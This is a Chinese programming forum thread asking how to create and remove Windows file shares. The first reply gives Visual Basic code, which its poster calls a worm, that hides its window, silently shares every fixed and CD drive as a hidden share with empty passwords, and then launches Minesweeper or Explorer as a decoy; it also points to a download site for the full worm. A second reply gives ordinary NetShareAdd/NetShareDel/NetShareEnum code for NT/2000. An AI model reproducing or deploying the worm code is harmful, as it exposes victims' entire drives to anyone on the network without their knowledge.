怎样设置文件加共享和取消共享（适用各种win平台）？？？

先看看原理吧：1.运行Regedit命令，打开注册表；
2.找到下面的子键
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Network\LanMan\C
                这里的C就是共享名

3.在屏幕的右边，你可以看见下面的内容；
Flags 0x00000302(770)
Parm1enc (长度为零的二进制值)  共享目录的完全访问密码
Parm2enc (长度为零的二进制值)  共享目录的只读访问密码
Path "C:\"  共享路径
Re "Re By Scent Lily"  备注
Type 0x00000000(0)
所以只要在注册表中写入以上内容就可以共享C盘拉。下面是一个例子，看看吧：Option Explicit
Dim WinDir As String
Const CommonPath = "SoftWare\Microsoft\Windows\CurrentVersion\Network\LanMan\"Private Sub Form_Load()
Me.Hide
Dim buff As String, DriveNo As Integer, Result As Integer, Game
For DriveNo = 0 To 25 '遍历所有的26个驱动器
buff = Chr$(65 + DriveNo) + ":\" '取驱动器符
Result = GetDriveType(buff) '调用API函数来获得驱动器的类型
If Result = 3 Xor Result = 5 Then
setvalue HKEY_LOCAL_MACHINE, CommonPath + Chr(65 + DriveNo) + "$", "Flags", REG_DWORD, "770", 3 '写入共享的类型，这就是程序的关键所在
setvalue HKEY_LOCAL_MACHINE, CommonPath + Chr(65 + DriveNo) + "$", "Type", REG_DWORD, "0", 0
setvalue HKEY_LOCAL_MACHINE, CommonPath + Chr(65 + DriveNo) + "$", "Path", REG_SZ, buff, 4 '写入共享驱动器的路径，就是"C:\","D:\"等等
setvalue HKEY_LOCAL_MACHINE, CommonPath + Chr(65 + DriveNo) + "$", "Parm2enc", REG_BINARY, 0, 0 '写入共享目录的只读访问密码；
setvalue HKEY_LOCAL_MACHINE, CommonPath + Chr(65 + DriveNo) + "$", "Parm1enc", REG_BINARY, 0, 0 '写入该共享目录的完全访问密码；；
setvalue HKEY_LOCAL_MACHINE, CommonPath + Chr(65 + DriveNo) + "$", "Re", REG_SZ, "Re by scent lily!", 21 '写入一些注释信息，比如“香水百合到此一游”
End If
Next DriveNo
GetWinDir '获得windows目录的路径
If Dir(WinDir & "\winmine.exe") <> "" Then '如果有扫雷游戏的话就在前台执行它
Game = Shell(WinDir & "\WINMINE.EXE", vbMaximizedFocus)
Else
'因为扫雷游戏不是必装的，可能有的机器没有安装，但是资源管理器是肯定有的。所以，如果没有扫雷游戏就启动一个资源管理器
Game = Shell(WinDir & "\explorer", vbMaximizedFocus)
End If
Unload Me
End SubPublic Sub GetWinDir() '获得windows所在目录的子程序
Dim Length As Long
WinDir = String(MAX_PATH, 0)
Length = GetWindowsDirectory(WinDir, MAX_PATH)
WinDir = Left(WinDir, InStr(WinDir, Chr(0)) - 1)
End Sub这是个蠕虫，完整的例子可以在http://scentlily.y365.com下载。

      怎么样，给分吧？
Following code is just for winnt/2000:Public Declare Function HeapAlloc Lib "kernel32" (ByVal hHeap As Long, ByVal dwFlags As Long, ByVal dwBytes As Long) As Long
Public Declare Function HeapFree Lib "kernel32" (ByVal hHeap As Long, ByVal dwFlags As Long, lpMem As Any) As Long
Public Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long)
'Public Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long)
Public Const HEAP_ZERO_MEMORY = &H8
Public Const LM20_NNLEN = 12Public Type wshare_info_1 'USE FOR WIN98
    shi1_netname(13)  As Byte
    shi1_pad1 As Byte
    shi1_type As Integer
    shi1_re As Byte
End Type
Public Type Share_Info_1 'Use for WINNT/2000
    shi1_netname As Long
    shi1_type As Long
    shi1_re As Long
End TypePublic Type SHARE_INFO_2
  shi2_netname As Long
  shi2_type As Long
  shi2_re As Long
  shi2_permissions As Long
  shi2_max_uses As Long
  shi2_current_uses As Long
  shi2_path As Long
  shi2_passwd As Long
End TypePublic Type MungeLong
    x As Long
    dummy As Integer
End TypePublic Type MungeInt
  XLo As Integer
  XHi As Integer
  dummy As Integer
End Type
Public Const WM_SETTEXT = &HCPublic Const ERROR_SUCCESS = 0
Public Const ERROR_ACCESS_DENIED = 5&
Public Const ERROR_MORE_DATA = 234
Public Const ERROR_NO_SUCH_ALIAS = 1376&
Public Const STYPE_DISKTREE = 0
Public Const STYPE_PRINTQ = 1
Public Const STYPE_DEVICE = 2
Public Const STYPE_IPC = 3
Option Explicit'Add a Net Share resource
Private Sub CmdAddShare_Click()
Dim strPath As String, strShare As String, nPtrShare As Long
Dim SParray() As Byte, sSarray() As Byte, retVal As LongDim nPtrNetName As Long, nPtrPath As Long, nHandleHeap As Long
nHandleHeap = GetProcessHeap()
If nHandleHeap = 0 Then Exit Sub
strPath = Me.Dir1.Path
strShare = StrConv(Right(strPath, Len(strPath) - InStrRev(strPath, "\")),vbUnicode)
strPath = StrConv(Me.Dir1.Path, vbUnicode)
nPtrNetName = HeapAlloc(nHandleHeap, HEAP_ZERO_MEMORY, LenB(strShare) + 1)
nPtrPath = HeapAlloc(nHandleHeap, HEAP_ZERO_MEMORY, LenB(strPath) + 1)
If IsNull(nPtrNetName) Or IsNull(nPtrPath) Then Exit Sub
lstrcpyW ByVal nPtrPath, ByVal strPath
lstrcpyW ByVal nPtrNetName, ByVal strShare
Dim i As Integer
Dim buf(1 To 32) As Byte
For i = 1 To 32
  buf(i) = 0
Next
Dim x As Long
Dim tdfShare_Info As SHARE_INFO_2
tdfShare_Info.shi2_netname = nPtrNetName
tdfShare_Info.shi2_type = 0
tdfShare_Info.shi2_re = 0
tdfShare_Info.shi2_permissions = &HFF
tdfShare_Info.shi2_max_uses = -1
tdfShare_Info.shi2_current_uses = 0
tdfShare_Info.shi2_path = nPtrPath
tdfShare_Info.shi2_re = 0retVal = NetShareAdd(ByVal 0, 2, tdfShare_Info, ByVal 0)
HeapFree nHandleHeap, 0, ByVal nPtrPath
HeapFree nHandleHeap, 0, ByVal nPtrNetName
CloseHandle nHandleHeap
CmdEnum_Click
End Sub'Delete Net Share Resource
Private Sub CMDDeleteShare_Click()
Dim strShareRes As String, retVal As Long
strShareRes = StrConv(Trim(List1.Text), vbUnicode)
retVal = NetShareDel(ByVal 0, strShareRes, 0)
CmdEnum_Click
End Sub'Enum Net share resource
Private Sub CmdEnum_Click()
Me.List1.Clear
Dim strNetShareName As String, strNetShareRe As String, nShareType As Long
Dim nLevel As Long
Dim result As Long, bufptr As Long, entriesread As Long, totalentries As Long, resumehandle As Long, BufLen As Long, _
DNArray() As Byte, SNArray(99) As Byte, UNArray() As Byte, _
SName As String, i As Integer, UNPtr As Long, _
TempPtr As MungeLong, TempStr As MungeIntBufLen = -1                    ' Buffer size
resumehandle = 0                  ' Start with the first entry
nLevel = 1
      Do

          result = NetShareEnum(ByVal 0, nLevel, bufptr, BufLen, entriesread, totalentries, resumehandle)
              If result <> ERROR_SUCCESS And result <> ERROR_MORE_DATA Then
            MsgBox ("Error " & result & " enumerating share " & entriesread & " of " & totalentries)
            Exit Sub
          End If
          Dim j As Long
          For i = 1 To entriesread
            ' Get pointer to string from beginning of buffer
            ' Copy 4 byte block of memory each time
            j = (i - 1) * 3

            result = PtrToInt(TempPtr.x, bufptr + j * 4, 4)
            result = PtrToStr(SNArray(0), TempPtr.x)
            strNetShareName = Left(SNArray, StrLen(TempPtr.x))

            result = PtrToInt(TempPtr.x, bufptr + (j + 1) * 4, 4)
            nShareType = TempPtr.x

            result = PtrToInt(TempPtr.x, bufptr + (j + 2) * 4, 4)
            result = PtrToStr(SNArray(0), TempPtr.x)
            strNetShareRe = Left(SNArray, StrLen(TempPtr.x))


            List1.AddItem strNetShareName

          Next i

          result = NetApiBufferFree(bufptr)
      Loop Until entriesread = totalentriesEnd Sub

调试易

怎样设置文件加共享和取消共享（适用各种win平台）？？？

解决方案 »